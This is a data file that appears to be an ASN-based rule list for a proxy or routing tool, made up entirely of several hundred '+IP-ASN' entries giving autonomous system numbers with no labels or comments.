+IP-ASN, 393375 +IP-ASN, 7247 +IP-ASN, 393374 +IP-ASN, 393378 +IP-ASN, 393377 +IP-ASN, 7246 +IP-ASN, 7243 +IP-ASN, 393382 +IP-ASN, 393387 +IP-ASN, 393386 +IP-ASN, 393385 +IP-ASN, 7258 +IP-ASN, 393384 +IP-ASN, 393389 +IP-ASN, 7256 +IP-ASN, 7254 +IP-ASN, 7253 +IP-ASN, 7250 +IP-ASN, 8518 +IP-ASN, 393393 +IP-ASN, 393392 +IP-ASN, 393398 +IP-ASN, 393397 +IP-ASN, 393396 +IP-ASN, 393395 +IP-ASN, 393399 +IP-ASN, 393390 +IP-ASN, 7203 +IP-ASN, 46708 +IP-ASN, 46701 +IP-ASN, 46700 +IP-ASN, 7202 +IP-ASN, 7219 +IP-ASN, 46716 +IP-ASN, 46719 +IP-ASN, 7215 +IP-ASN, 46718 +IP-ASN, 46713 +IP-ASN, 46714 +IP-ASN, 46711 +IP-ASN, 46710 +IP-ASN, 7212 +IP-ASN, 7213 +IP-ASN, 22759 +IP-ASN, 395933 +IP-ASN, 394602 +IP-ASN, 22757 +IP-ASN, 10779 +IP-ASN, 394603 +IP-ASN, 394604 +IP-ASN, 22755 +IP-ASN, 395936 +IP-ASN, 22754 +IP-ASN, 22753 +IP-ASN, 22752 +IP-ASN, 395930 +IP-ASN, 394600 +IP-ASN, 22751 +IP-ASN, 22760 +IP-ASN, 19110 +IP-ASN, 19111 +IP-ASN, 33407 +IP-ASN, 395926 +IP-ASN, 395927 +IP-ASN, 395928 +IP-ASN, 33409 +IP-ASN, 395929 +IP-ASN, 19116 +IP-ASN, 33403 +IP-ASN, 33402 +IP-ASN, 33405 +IP-ASN, 19119 +IP-ASN, 19112 +IP-ASN, 19113 +IP-ASN, 10780 +IP-ASN, 33401 +IP-ASN, 19115 +IP-ASN, 10764 +IP-ASN, 22747 +IP-ASN, 395944 +IP-ASN, 394613 +IP-ASN, 22746 +IP-ASN, 395945 +IP-ASN, 22744 +IP-ASN, 22743 +IP-ASN, 22742 +IP-ASN, 395941 +IP-ASN, 394610 +IP-ASN, 394611 +IP-ASN, 395942 +IP-ASN, 395943 +IP-ASN, 394612 +IP-ASN, 203501 +IP-ASN, 394607 +IP-ASN, 395939 +IP-ASN, 394609 +IP-ASN, 19105 +IP-ASN, 19106 +IP-ASN, 19107 +IP-ASN, 19108 +IP-ASN, 19102 +IP-ASN, 19103 +IP-ASN, 19104 +IP-ASN, 10750 +IP-ASN, 10753 +IP-ASN, 22739 +IP-ASN, 10754 +IP-ASN, 22738 +IP-ASN, 10755 +IP-ASN, 22736 +IP-ASN, 395955 +IP-ASN, 394625 +IP-ASN, 22734 +IP-ASN, 394626 +IP-ASN, 22733 +IP-ASN, 394627 +IP-ASN, 22732 +IP-ASN, 394620 +IP-ASN, 395951 +IP-ASN, 22731 +IP-ASN, 394621 +IP-ASN, 395952 +IP-ASN, 395953 +IP-ASN, 394622 +IP-ASN, 395954 +IP-ASN, 394623 +IP-ASN, 395948 +IP-ASN, 394617 +IP-ASN, 395949 +IP-ASN, 394619 +IP-ASN, 395960 +IP-ASN, 395961 +IP-ASN, 22728 +IP-ASN, 22727 +IP-ASN, 10745 +IP-ASN, 22725 +IP-ASN, 393303 +IP-ASN, 10747 +IP-ASN, 393302 +IP-ASN, 395967 +IP-ASN, 22723 +IP-ASN, 393301 +IP-ASN, 394637 +IP-ASN, 393300 +IP-ASN, 22721 +IP-ASN, 395962 +IP-ASN, 394631 +IP-ASN, 393307 +IP-ASN, 395963 +IP-ASN, 394632 +IP-ASN, 394633 +IP-ASN, 393305 +IP-ASN, 394634 +IP-ASN, 395959 +IP-ASN, 394628 +IP-ASN, 394629 +IP-ASN, 395971 +IP-ASN, 394640 +IP-ASN, 10730 +IP-ASN, 395972 +IP-ASN, 22718 +IP-ASN, 22717 +IP-ASN, 393310 +IP-ASN, 10732 +IP-ASN, 22716 +IP-ASN, 22714 +IP-ASN, 394646 +IP-ASN, 22713 +IP-ASN, 393314 +IP-ASN, 395978 +IP-ASN, 394647 +IP-ASN, 393313 +IP-ASN, 22712 +IP-ASN, 393312 +IP-ASN, 22711 +IP-ASN, 395979 +IP-ASN, 10737 +IP-ASN, 22710 +IP-ASN, 395973 +IP-ASN, 395974 +IP-ASN, 394643 +IP-ASN, 393316 +IP-ASN, 395975 +IP-ASN, 395976 +IP-ASN, 393315 +IP-ASN, 393308 +IP-ASN, 204807 +IP-ASN, 395980 +IP-ASN, 22709 +IP-ASN, 395981 +IP-ASN, 394650 +IP-ASN, 394651 +IP-ASN, 22708 +IP-ASN, 395982 +IP-ASN, 393321 +IP-ASN, 393320 +IP-ASN, 10721 +IP-ASN, 22704 +IP-ASN, 10723 +IP-ASN, 22703 +IP-ASN, 22702 +IP-ASN, 395988 +IP-ASN, 393325 +IP-ASN, 394658 +IP-ASN, 395989 +IP-ASN, 10725 +IP-ASN, 22700 +IP-ASN, 393323 +IP-ASN, 393322 +IP-ASN, 394653 +IP-ASN, 393329 +IP-ASN, 394655 +IP-ASN, 395987 +IP-ASN, 394656 +IP-ASN, 393326 +IP-ASN, 393319 +IP-ASN, 394660 +IP-ASN, 394661 +IP-ASN, 394662 +IP-ASN, 395993 +IP-ASN, 395994 +IP-ASN, 393332 +IP-ASN, 393330 +IP-ASN, 395990 +IP-ASN, 393336 +IP-ASN, 394668 +IP-ASN, 395999 +IP-ASN, 393335 +IP-ASN, 394669 +IP-ASN, 393334 +IP-ASN, 10717 +IP-ASN, 394664 +IP-ASN, 393339 +IP-ASN, 10718 +IP-ASN, 394666 +IP-ASN, 393337 +IP-ASN, 395998 +IP-ASN, 394671 +IP-ASN, 394672 +IP-ASN, 394673 +IP-ASN, 394674 +IP-ASN, 393342 +IP-ASN, 10700 +IP-ASN, 393341 +IP-ASN, 393340 +IP-ASN, 394670 +IP-ASN, 10701 +IP-ASN, 394679 +IP-ASN, 393347 +IP-ASN, 393346 +IP-ASN, 393344 +IP-ASN, 394675 +IP-ASN, 10708 +IP-ASN, 393349 +IP-ASN, 393348 +IP-ASN, 33373 +IP-ASN, 33372 +IP-ASN, 32041 +IP-ASN, 32044 +IP-ASN, 33371 +IP-ASN, 32040 +IP-ASN, 33370 +IP-ASN, 46687 +IP-ASN, 20057 +IP-ASN, 20058 +IP-ASN, 20055 +IP-ASN, 46689 +IP-ASN, 46688 +IP-ASN, 46694 +IP-ASN, 19076 +IP-ASN, 46696 +IP-ASN, 20062 +IP-ASN, 46695 +IP-ASN, 19071 +IP-ASN, 46690 +IP-ASN, 20060 +IP-ASN, 20061 +IP-ASN, 46692 +IP-ASN, 46691 +IP-ASN, 19074 +IP-ASN, 32039 +IP-ASN, 57335 +IP-ASN, 32035 +IP-ASN, 33366 +IP-ASN, 19079 +IP-ASN, 32034 +IP-ASN, 33365 +IP-ASN, 33368 +IP-ASN, 33362 +IP-ASN, 32031 +IP-ASN, 32030 +IP-ASN, 33363 +IP-ASN, 32032 +IP-ASN, 33360 +IP-ASN, 20048 +IP-ASN, 20047 +IP-ASN, 46699 +IP-ASN, 19065 +IP-ASN, 20054 +IP-ASN, 19067 +IP-ASN, 20052 +IP-ASN, 19060 +IP-ASN, 20050 +IP-ASN, 19063 +IP-ASN, 33359 +IP-ASN, 32028 +IP-ASN, 32027 +IP-ASN, 33358 +IP-ASN, 19068 +IP-ASN, 32024 +IP-ASN, 33354 +IP-ASN, 32023 +IP-ASN, 32025 +IP-ASN, 33356 +IP-ASN, 33350 +IP-ASN, 33353 +IP-ASN, 32022 +IP-ASN, 20037 +IP-ASN, 20038 +IP-ASN, 20035 +IP-ASN, 22697 +IP-ASN, 22696 +IP-ASN, 20034 +IP-ASN, 22695 +IP-ASN, 20042 +IP-ASN, 19054 +IP-ASN, 20040 +IP-ASN, 19055 +IP-ASN, 19050 +IP-ASN, 33348 +IP-ASN, 33347 +IP-ASN, 32016 +IP-ASN, 32013 +IP-ASN, 33344 +IP-ASN, 215436 +IP-ASN, 19058 +IP-ASN, 33343 +IP-ASN, 33346 +IP-ASN, 33345 +IP-ASN, 32010 +IP-ASN, 20028 +IP-ASN, 20029 +IP-ASN, 22688 +IP-ASN, 20027 +IP-ASN, 22687 +IP-ASN, 20031 +IP-ASN, 19043 +IP-ASN, 22693 +IP-ASN, 19044 +IP-ASN, 19045 +IP-ASN, 22691 +IP-ASN, 20030 +IP-ASN, 32009 +IP-ASN, 32005 +IP-ASN, 33339 +IP-ASN, 32008 +IP-ASN, 35999 +IP-ASN, 33333 +IP-ASN, 32002 +IP-ASN, 19047 +IP-ASN, 35997 +IP-ASN, 35994 +IP-ASN, 19048 +IP-ASN, 32004 +IP-ASN, 32003 +IP-ASN, 35995 +IP-ASN, 10694 +IP-ASN, 10695 +IP-ASN, 35990 +IP-ASN, 32000 +IP-ASN, 33331 +IP-ASN, 35991 +IP-ASN, 33330 +IP-ASN, 20019 +IP-ASN, 20017 +IP-ASN, 20018 +IP-ASN, 22679 +IP-ASN, 22677 +IP-ASN, 22676 +IP-ASN, 22675 +IP-ASN, 20014 +IP-ASN, 22674 +IP-ASN, 21343 +IP-ASN, 22673 +IP-ASN, 20012 +IP-ASN, 19031 +IP-ASN, 20021 +IP-ASN, 204764 +IP-ASN, 19032 +IP-ASN, 22681 +IP-ASN, 204765 +IP-ASN, 22680 +IP-ASN, 44071 +IP-ASN, 204769 +IP-ASN, 33328 +IP-ASN, 33327 +IP-ASN, 35988 +IP-ASN, 215415 +IP-ASN, 35985 +IP-ASN, 33322 +IP-ASN, 35986 +IP-ASN, 19036 +IP-ASN, 33321 +IP-ASN, 33324 +IP-ASN, 35984 +IP-ASN, 35981 +IP-ASN, 10685 +IP-ASN, 35980 +IP-ASN, 10689 +IP-ASN, 20009 +IP-ASN, 22669 +IP-ASN, 20007 +IP-ASN, 22668 +IP-ASN, 22667 +IP-ASN, 20004 +IP-ASN, 20005 +IP-ASN, 22666 +IP-ASN, 20003 +IP-ASN, 22664 +IP-ASN, 22663 +IP-ASN, 20000 +IP-ASN, 20001 +IP-ASN, 22662 +IP-ASN, 19021 +IP-ASN, 22671 +IP-ASN, 19023 +IP-ASN, 33318 +IP-ASN, 35978 +IP-ASN, 35979 +IP-ASN, 215406 +IP-ASN, 35977 +IP-ASN, 33316 +IP-ASN, 19024 +IP-ASN, 10690 +IP-ASN, 33311 +IP-ASN, 35974 +IP-ASN, 35975 +IP-ASN, 10692 +IP-ASN, 33313 +IP-ASN, 33312 +IP-ASN, 35971 +IP-ASN, 10674 +IP-ASN, 10676 +IP-ASN, 22659 +IP-ASN, 394701 +IP-ASN, 22658 +IP-ASN, 394702 +IP-ASN, 22656 +IP-ASN, 394704 +IP-ASN, 22655 +IP-ASN, 22654 +IP-ASN, 22653 +IP-ASN, 394700 +IP-ASN, 22660 +IP-ASN, 19010 +IP-ASN, 19011 +IP-ASN, 33307 +IP-ASN, 33309 +IP-ASN, 35967 +IP-ASN, 33304 +IP-ASN, 35968 +IP-ASN, 35965 +IP-ASN, 35966 +IP-ASN, 35963 +IP-ASN, 19013 +IP-ASN, 19014 +IP-ASN, 10680 +IP-ASN, 33302 +IP-ASN, 35961 +IP-ASN, 19015 +IP-ASN, 35962 +IP-ASN, 10661 +IP-ASN, 10662 +IP-ASN, 35960 +IP-ASN, 11994 +IP-ASN, 11995 +IP-ASN, 11996 +IP-ASN, 10666 +IP-ASN, 22649 +IP-ASN, 10668 +IP-ASN, 22648 +IP-ASN, 11999 +IP-ASN, 22647 +IP-ASN, 394712 +IP-ASN, 22646 +IP-ASN, 394713 +IP-ASN, 22645 +IP-ASN, 394714 +IP-ASN, 21313 +IP-ASN, 22644 +IP-ASN, 22643 +IP-ASN, 22641 +IP-ASN, 394711 +IP-ASN, 394709 +IP-ASN, 19001 +IP-ASN, 394705 +IP-ASN, 35958 +IP-ASN, 394708 +IP-ASN, 35956 +IP-ASN, 19006 +IP-ASN, 19008 +IP-ASN, 19009 +IP-ASN, 35955 +IP-ASN, 19002 +IP-ASN, 35952 +IP-ASN, 35953 +IP-ASN, 35950 +IP-ASN, 35951 +IP-ASN, 19005 +IP-ASN, 46607 +IP-ASN, 46606 +IP-ASN, 46605 +IP-ASN, 46601 +IP-ASN, 46600 +IP-ASN, 6092 +IP-ASN, 6091 +IP-ASN, 6099 +IP-ASN, 6095 +IP-ASN, 46617 +IP-ASN, 46619 +IP-ASN, 46614 +IP-ASN, 46613 +IP-ASN, 46616 +IP-ASN, 46615 +IP-ASN, 60900 +IP-ASN, 46610 +IP-ASN, 46624 +IP-ASN, 46621 +IP-ASN, 46620 +IP-ASN, 46623 +IP-ASN, 46622 +IP-ASN, 32097 +IP-ASN, 32096 +IP-ASN, 32099 +IP-ASN, 32098 +IP-ASN, 32093 +IP-ASN, 46639 +IP-ASN, 32092 +IP-ASN, 32094 +IP-ASN, 46636 +IP-ASN, 47967 +IP-ASN, 32091 +IP-ASN, 46637 +IP-ASN, 46632 +IP-ASN, 46631 +IP-ASN, 46634 +IP-ASN, 46640 +IP-ASN, 32086 +IP-ASN, 32082 +IP-ASN, 6059 +IP-ASN, 32083 +IP-ASN, 46646 +IP-ASN, 32080 +IP-ASN, 46649 +IP-ASN, 46648 +IP-ASN, 46643 +IP-ASN, 46642 +IP-ASN, 20099 +IP-ASN, 46644 +IP-ASN, 7380 +IP-ASN, 7381 +IP-ASN, 46652 +IP-ASN, 46651 +IP-ASN, 6056 +IP-ASN, 7386 +IP-ASN, 7384 +IP-ASN, 7385 +IP-ASN, 7382 +IP-ASN, 32075 +IP-ASN, 32074 +IP-ASN, 32077 +IP-ASN, 32076 +IP-ASN, 32071 +IP-ASN, 32073 +IP-ASN, 32072 +IP-ASN, 46658 +IP-ASN, 46657 +IP-ASN, 46654 +IP-ASN, 46653 +IP-ASN, 46656 +IP-ASN, 20088 +IP-ASN, 46655 +IP-ASN, 20097 +IP-ASN, 20098 +IP-ASN, 6061 +IP-ASN, 46662 +IP-ASN, 20096 +IP-ASN, 20091 +IP-ASN, 20090 +IP-ASN, 32068 +IP-ASN, 57308 +IP-ASN, 32067 +IP-ASN, 6062 +IP-ASN, 33398 +IP-ASN, 7393 +IP-ASN, 32064 +IP-ASN, 33395 +IP-ASN, 33394 +IP-ASN, 32066 +IP-ASN, 33397 +IP-ASN, 33391 +IP-ASN, 33390 +IP-ASN, 32062 +IP-ASN, 33393 +IP-ASN, 46669 +IP-ASN, 46668 +IP-ASN, 19091 +IP-ASN, 19092 +IP-ASN, 46665 +IP-ASN, 46664 +IP-ASN, 46667 +IP-ASN, 20077 +IP-ASN, 20078 +IP-ASN, 46672 +IP-ASN, 19098 +IP-ASN, 6072 +IP-ASN, 19099 +IP-ASN, 20084 +IP-ASN, 46674 +IP-ASN, 6071 +IP-ASN, 46673 +IP-ASN, 20085 +IP-ASN, 19094 +IP-ASN, 20080 +IP-ASN, 46670 +IP-ASN, 19095 +IP-ASN, 20081 +IP-ASN, 19096 +IP-ASN, 6077 +IP-ASN, 6079 +IP-ASN, 6074 +IP-ASN, 32057 +IP-ASN, 33387 +IP-ASN, 32056 +IP-ASN, 32059 +IP-ASN, 215478 +IP-ASN, 32058 +IP-ASN, 6075 +IP-ASN, 32053 +IP-ASN, 33383 +IP-ASN, 32052 +IP-ASN, 59993 +IP-ASN, 33382 +IP-ASN, 32051 +IP-ASN, 32050 +IP-ASN, 33381 +IP-ASN, 46679 +IP-ASN, 19081 +IP-ASN, 203483 +IP-ASN, 46676 +IP-ASN, 46675 +IP-ASN, 20066 +IP-ASN, 20075 +IP-ASN, 6081 +IP-ASN, 46682 +IP-ASN, 19087 +IP-ASN, 46685 +IP-ASN, 20073 +IP-ASN, 6082 +IP-ASN, 20074 +IP-ASN, 19082 +IP-ASN, 20072 +IP-ASN, 19084 +IP-ASN, 46680 +IP-ASN, 19085 +IP-ASN, 32049 +IP-ASN, 33377 +IP-ASN, 32046 +IP-ASN, 32045 +IP-ASN, 33376 +IP-ASN, 32048 +IP-ASN, 6086 +IP-ASN, 33378 +IP-ASN, 32047 +IP-ASN, 393470 +IP-ASN, 393475 +IP-ASN, 393474 +IP-ASN, 7349 +IP-ASN, 393473 +IP-ASN, 11900 +IP-ASN, 11901 +IP-ASN, 393479 +IP-ASN, 393478 +IP-ASN, 11902 +IP-ASN, 11903 +IP-ASN, 11904 +IP-ASN, 393476 +IP-ASN, 11905 +IP-ASN, 7345 +IP-ASN, 7342 +IP-ASN, 7341 +IP-ASN, 393482 +IP-ASN, 7359 +IP-ASN, 393486 +IP-ASN, 393485 +IP-ASN, 6026 +IP-ASN, 393484 +IP-ASN, 7358 +IP-ASN, 393483 +IP-ASN, 393489 +IP-ASN, 7355 +IP-ASN, 6025 +IP-ASN, 7354 +IP-ASN, 7352 +IP-ASN, 7350 +IP-ASN, 393493 +IP-ASN, 393492 +IP-ASN, 393490 +IP-ASN, 393496 +IP-ASN, 6039 +IP-ASN, 393499 +IP-ASN, 7366 +IP-ASN, 6034 +IP-ASN, 6035 +IP-ASN, 7362 +IP-ASN, 7363 +IP-ASN, 7377 +IP-ASN, 6041 +IP-ASN, 6040 +IP-ASN, 6043 +IP-ASN, 6042 +IP-ASN, 7306 +IP-ASN, 7301 +IP-ASN, 7317 +IP-ASN, 7314 +IP-ASN, 7310 +IP-ASN, 7328 +IP-ASN, 7324 +IP-ASN, 7321 +IP-ASN, 6009 +IP-ASN, 6006 +IP-ASN, 7334 +IP-ASN, 7332 +IP-ASN, 6002 +IP-ASN, 11982 +IP-ASN, 10653 +IP-ASN, 11985 +IP-ASN, 10655 +IP-ASN, 22638 +IP-ASN, 22637 +IP-ASN, 11988 +IP-ASN, 394723 +IP-ASN, 11989 +IP-ASN, 394724 +IP-ASN, 394725 +IP-ASN, 22633 +IP-ASN, 22632 +IP-ASN, 23961 +IP-ASN, 394721 +IP-ASN, 394717 +IP-ASN, 394718 +IP-ASN, 35946 +IP-ASN, 35943 +IP-ASN, 35944 +IP-ASN, 35941 +IP-ASN, 11990 +IP-ASN, 10660 +IP-ASN, 11970 +IP-ASN, 11971 +IP-ASN, 11972 +IP-ASN, 11973 +IP-ASN, 22629 +IP-ASN, 11974 +IP-ASN, 11975 +IP-ASN, 11976 +IP-ASN, 22626 +IP-ASN, 11978 +IP-ASN, 394734 +IP-ASN, 11979 +IP-ASN, 394735 +IP-ASN, 393401 +IP-ASN, 22624 +IP-ASN, 394736 +IP-ASN, 393400 +IP-ASN, 394737 +IP-ASN, 394730 +IP-ASN, 22621 +IP-ASN, 393405 +IP-ASN, 22620 +IP-ASN, 394732 +IP-ASN, 393404 +IP-ASN, 394733 +IP-ASN, 394727 +IP-ASN, 394728 +IP-ASN, 394729 +IP-ASN, 35937 +IP-ASN, 35934 +IP-ASN, 35935 +IP-ASN, 35932 +IP-ASN, 35930 +IP-ASN, 35931 +IP-ASN, 11980 +IP-ASN, 11961 +IP-ASN, 394740 +IP-ASN, 11962 +IP-ASN, 10631 +IP-ASN, 22618 +IP-ASN, 10632 +IP-ASN, 22617 +IP-ASN, 11964 +IP-ASN, 22616 +IP-ASN, 10634 +IP-ASN, 11966 +IP-ASN, 22615 +IP-ASN, 393413 +IP-ASN, 393412 +IP-ASN, 22612 +IP-ASN, 394747 +IP-ASN, 22611 +IP-ASN, 394748 +IP-ASN, 393417 +IP-ASN, 394741 +IP-ASN, 22610 +IP-ASN, 394742 +IP-ASN, 393415 +IP-ASN, 394744 +IP-ASN, 393409 +IP-ASN, 35929 +IP-ASN, 393408 +IP-ASN, 393407 +IP-ASN, 35928 +IP-ASN, 35923 +IP-ASN, 35924 +IP-ASN, 35921 +IP-ASN, 394750 +IP-ASN, 22609 +IP-ASN, 11951 +IP-ASN, 394751 +IP-ASN, 22608 +IP-ASN, 393420 +IP-ASN, 22607 +IP-ASN, 22606 +IP-ASN, 11954 +IP-ASN, 22604 +IP-ASN, 11955 +IP-ASN, 11956 +IP-ASN, 394756 +IP-ASN, 393423 +IP-ASN, 394757 +IP-ASN, 22602 +IP-ASN, 22601 +IP-ASN, 11958 +IP-ASN, 394759 +IP-ASN, 11959 +IP-ASN, 22600 +IP-ASN, 394752 +IP-ASN, 393427 +IP-ASN, 394754 +IP-ASN, 393426 +IP-ASN, 393425 +IP-ASN, 394755 +IP-ASN, 35918 +IP-ASN, 393419 +IP-ASN, 393418 +IP-ASN, 35916 +IP-ASN, 394749 +IP-ASN, 35917 +IP-ASN, 35913 +IP-ASN, 35910 +IP-ASN, 394761 +IP-ASN, 11940 +IP-ASN, 394762 +IP-ASN, 11941 +IP-ASN, 23926 +IP-ASN, 11942 +IP-ASN, 11943 +IP-ASN, 11944 +IP-ASN, 394767 +IP-ASN, 11945 +IP-ASN, 393434 +IP-ASN, 10615 +IP-ASN, 394768 +IP-ASN, 11946 +IP-ASN, 394769 +IP-ASN, 393433 +IP-ASN, 10616 +IP-ASN, 393432 +IP-ASN, 11948 +IP-ASN, 393439 +IP-ASN, 394763 +IP-ASN, 11949 +IP-ASN, 394764 +IP-ASN, 393438 +IP-ASN, 394765 +IP-ASN, 393436 +IP-ASN, 35909 +IP-ASN, 35907 +IP-ASN, 35908 +IP-ASN, 393429 +IP-ASN, 35906 +IP-ASN, 35901 +IP-ASN, 394770 +IP-ASN, 394771 +IP-ASN, 394773 +IP-ASN, 393442 +IP-ASN, 11930 +IP-ASN, 11931 +IP-ASN, 393441 +IP-ASN, 11933 +IP-ASN, 10602 +IP-ASN, 11934 +IP-ASN, 394778 +IP-ASN, 393446 +IP-ASN, 394779 +IP-ASN, 11935 +IP-ASN, 393444 +IP-ASN, 11936 +IP-ASN, 11938 +IP-ASN, 11939 +IP-ASN, 394775 +IP-ASN, 393449 +IP-ASN, 394776 +IP-ASN, 394777 +IP-ASN, 393447 +IP-ASN, 394781 +IP-ASN, 394782 +IP-ASN, 394783 +IP-ASN, 394784 +IP-ASN, 393453 +IP-ASN, 393452 +IP-ASN, 393451 +IP-ASN, 11922 +IP-ASN, 11924 +IP-ASN, 393456 +IP-ASN, 393455 +IP-ASN, 11925 +IP-ASN, 11926 +IP-ASN, 11928 +IP-ASN, 394787 +IP-ASN, 393459 +IP-ASN, 11929 +IP-ASN, 394788 +IP-ASN, 393460 +IP-ASN, 394792 +IP-ASN, 394794 +IP-ASN, 394795 +IP-ASN, 393464 +IP-ASN, 393463 +IP-ASN, 11910 +IP-ASN, 394790 +IP-ASN, 393462 +IP-ASN, 11911 +IP-ASN, 393467 +IP-ASN, 11913 +IP-ASN, 133902 +IP-ASN, 11915 +IP-ASN, 393465 +IP-ASN, 11916 +IP-ASN, 394798 +IP-ASN, 393469 +IP-ASN, 11919 +IP-ASN, 33252 +IP-ASN, 33254 +IP-ASN, 46569 +IP-ASN, 46566 +IP-ASN, 22598 +IP-ASN, 46565 +IP-ASN, 46568 +IP-ASN, 46567 +IP-ASN, 46573 +IP-ASN, 46575 +IP-ASN, 46574 +IP-ASN, 46571 +IP-ASN, 33248 +IP-ASN, 33245 +IP-ASN, 33247 +IP-ASN, 33246 +IP-ASN, 33240 +IP-ASN, 33242 +IP-ASN, 46577 +IP-ASN, 22588 +IP-ASN, 46576 +IP-ASN, 22587 +IP-ASN, 22586 +IP-ASN, 22585 +IP-ASN, 46578 +IP-ASN, 22594 +IP-ASN, 22593 +IP-ASN, 202021 +IP-ASN, 46586 +IP-ASN, 46585 +IP-ASN, 22592 +IP-ASN, 22590 +IP-ASN, 33238 +IP-ASN, 33239 +IP-ASN, 33234 +IP-ASN, 33233 +IP-ASN, 33236 +IP-ASN, 35895 +IP-ASN, 33235 +IP-ASN, 131199 +IP-ASN, 10595 +IP-ASN, 35894 +IP-ASN, 10596 +IP-ASN, 35891 +IP-ASN, 10599 +IP-ASN, 22579 +IP-ASN, 46588 +IP-ASN, 46587 +IP-ASN, 22576 +IP-ASN, 205994 +IP-ASN, 22575 +IP-ASN, 205993 +IP-ASN, 22574 +IP-ASN, 46595 +IP-ASN, 46594 +IP-ASN, 22583 +IP-ASN, 46597 +IP-ASN, 22582 +IP-ASN, 46596 +IP-ASN, 22580 +IP-ASN, 46591 +IP-ASN, 46590 +IP-ASN, 46592 +IP-ASN, 33227 +IP-ASN, 33226 +IP-ASN, 35889 +IP-ASN, 33223 +IP-ASN, 33222 +IP-ASN, 34553 +IP-ASN, 35885 +IP-ASN, 10584 +IP-ASN, 35880 +IP-ASN, 10587 +IP-ASN, 22568 +IP-ASN, 22567 +IP-ASN, 46598 +IP-ASN, 22564 +IP-ASN, 33215 +IP-ASN, 33218 +IP-ASN, 33217 +IP-ASN, 33211 +IP-ASN, 35873 +IP-ASN, 10594 +IP-ASN, 35874 +IP-ASN, 33213 +IP-ASN, 35871 +IP-ASN, 35872 +IP-ASN, 10578 +IP-ASN, 394800 +IP-ASN, 22559 +IP-ASN, 394802 +IP-ASN, 22557 +IP-ASN, 394803 +IP-ASN, 22556 +IP-ASN, 22554 +IP-ASN, 22552 +IP-ASN, 22562 +IP-ASN, 22561 +IP-ASN, 33208 +IP-ASN, 35868 +IP-ASN, 35866 +IP-ASN, 57257 +IP-ASN, 33206 +IP-ASN, 10580 +IP-ASN, 35864 +IP-ASN, 33201 +IP-ASN, 35865 +IP-ASN, 35862 +IP-ASN, 10583 +IP-ASN, 35863 +IP-ASN, 33202 +IP-ASN, 11893 +IP-ASN, 35860 +IP-ASN, 11894 +IP-ASN, 10563 +IP-ASN, 11895 +IP-ASN, 10564 +IP-ASN, 11897 +IP-ASN, 11898 +IP-ASN, 22549 +IP-ASN, 23879 +IP-ASN, 394812 +IP-ASN, 22547 +IP-ASN, 394813 +IP-ASN, 22546 +IP-ASN, 394814 +IP-ASN, 22542 +IP-ASN, 394808 +IP-ASN, 22551 +IP-ASN, 394809 +IP-ASN, 22550 +IP-ASN, 23880 +IP-ASN, 394804 +IP-ASN, 394805 +IP-ASN, 35859 +IP-ASN, 394807 +IP-ASN, 35858 +IP-ASN, 35855 +IP-ASN, 35856 +IP-ASN, 35853 +IP-ASN, 35851 +IP-ASN, 35852 +IP-ASN, 10551 +IP-ASN, 11883 +IP-ASN, 35850 +IP-ASN, 11884 +IP-ASN, 10554 +IP-ASN, 10557 +IP-ASN, 11889 +IP-ASN, 10558 +IP-ASN, 22538 +IP-ASN, 22537 +IP-ASN, 394823 +IP-ASN, 22536 +IP-ASN, 394824 +IP-ASN, 22535 +IP-ASN, 22534 +IP-ASN, 394825 +IP-ASN, 22531 +IP-ASN, 22530 +IP-ASN, 394819 +IP-ASN, 394815 +IP-ASN, 394816 +IP-ASN, 394817 +IP-ASN, 205958 +IP-ASN, 35848 +IP-ASN, 35847 +IP-ASN, 35840 +IP-ASN, 11892 +IP-ASN, 10561 +IP-ASN, 35841 +IP-ASN, 11871 +IP-ASN, 11872 +IP-ASN, 11873 +IP-ASN, 11874 +IP-ASN, 11875 +IP-ASN, 10544 +IP-ASN, 10545 +IP-ASN, 22528 +IP-ASN, 10546 +IP-ASN, 11878 +IP-ASN, 22527 +IP-ASN, 393501 +IP-ASN, 393500 +IP-ASN, 22525 +IP-ASN, 394834 +IP-ASN, 22524 +IP-ASN, 394836 +IP-ASN, 22523 +IP-ASN, 393505 +IP-ASN, 22522 +IP-ASN, 394830 +IP-ASN, 394832 +IP-ASN, 205940 +IP-ASN, 394826 +IP-ASN, 394828 +IP-ASN, 394829 +IP-ASN, 204617 +IP-ASN, 11880 +IP-ASN, 11881 +IP-ASN, 47813 +IP-ASN, 46508 +IP-ASN, 46504 +IP-ASN, 46503 +IP-ASN, 46506 +IP-ASN, 46505 +IP-ASN, 46502 +IP-ASN, 46501 +IP-ASN, 46519 +IP-ASN, 46518 +IP-ASN, 46515 +IP-ASN, 46516 +IP-ASN, 46511 +IP-ASN, 46513 +IP-ASN, 46512 +IP-ASN, 46520 +IP-ASN, 33299 +IP-ASN, 33296 +IP-ASN, 33297 +IP-ASN, 33292 +IP-ASN, 33294 +IP-ASN, 33293 +IP-ASN, 46528 +IP-ASN, 33290 +IP-ASN, 46522 +IP-ASN, 46524 +IP-ASN, 46523 +IP-ASN, 33288 +IP-ASN, 6172 +IP-ASN, 33284 +IP-ASN, 33287 +IP-ASN, 33286 +IP-ASN, 33281 +IP-ASN, 33280 +IP-ASN, 33283 +IP-ASN, 33282 +IP-ASN, 46537 +IP-ASN, 46536 +IP-ASN, 46534 +IP-ASN, 46540 +IP-ASN, 46542 +IP-ASN, 6181 +IP-ASN, 6188 +IP-ASN, 6189 +IP-ASN, 33278 +IP-ASN, 33277 +IP-ASN, 33279 +IP-ASN, 6185 +IP-ASN, 33274 +IP-ASN, 33275 +IP-ASN, 33270 +IP-ASN, 33271 +IP-ASN, 46549 +IP-ASN, 46543 +IP-ASN, 46551 +IP-ASN, 46550 +IP-ASN, 6192 +IP-ASN, 46552 +IP-ASN, 6199 +IP-ASN, 6198 +IP-ASN, 33267 +IP-ASN, 6195 +IP-ASN, 6197 +IP-ASN, 33263 +IP-ASN, 33262 +IP-ASN, 33265 +IP-ASN, 33261 +IP-ASN, 33260 +IP-ASN, 46559 +IP-ASN, 46558 +IP-ASN, 46555 +IP-ASN, 46557 +IP-ASN, 46556 +IP-ASN, 46562 +IP-ASN, 46561 +IP-ASN, 46564 +IP-ASN, 46563 +IP-ASN, 33255 +IP-ASN, 33258 +IP-ASN, 33257 +IP-ASN, 393592 +IP-ASN, 393591 +IP-ASN, 393590 +IP-ASN, 393594 +IP-ASN, 393599 +IP-ASN, 8796 +IP-ASN, 6134 +IP-ASN, 6130 +IP-ASN, 6143 +IP-ASN, 6140 +IP-ASN, 6142 +IP-ASN, 6141 +IP-ASN, 7489 +IP-ASN, 7488 +IP-ASN, 6157 +IP-ASN, 6150 +IP-ASN, 6169 +IP-ASN, 6165 +IP-ASN, 6167 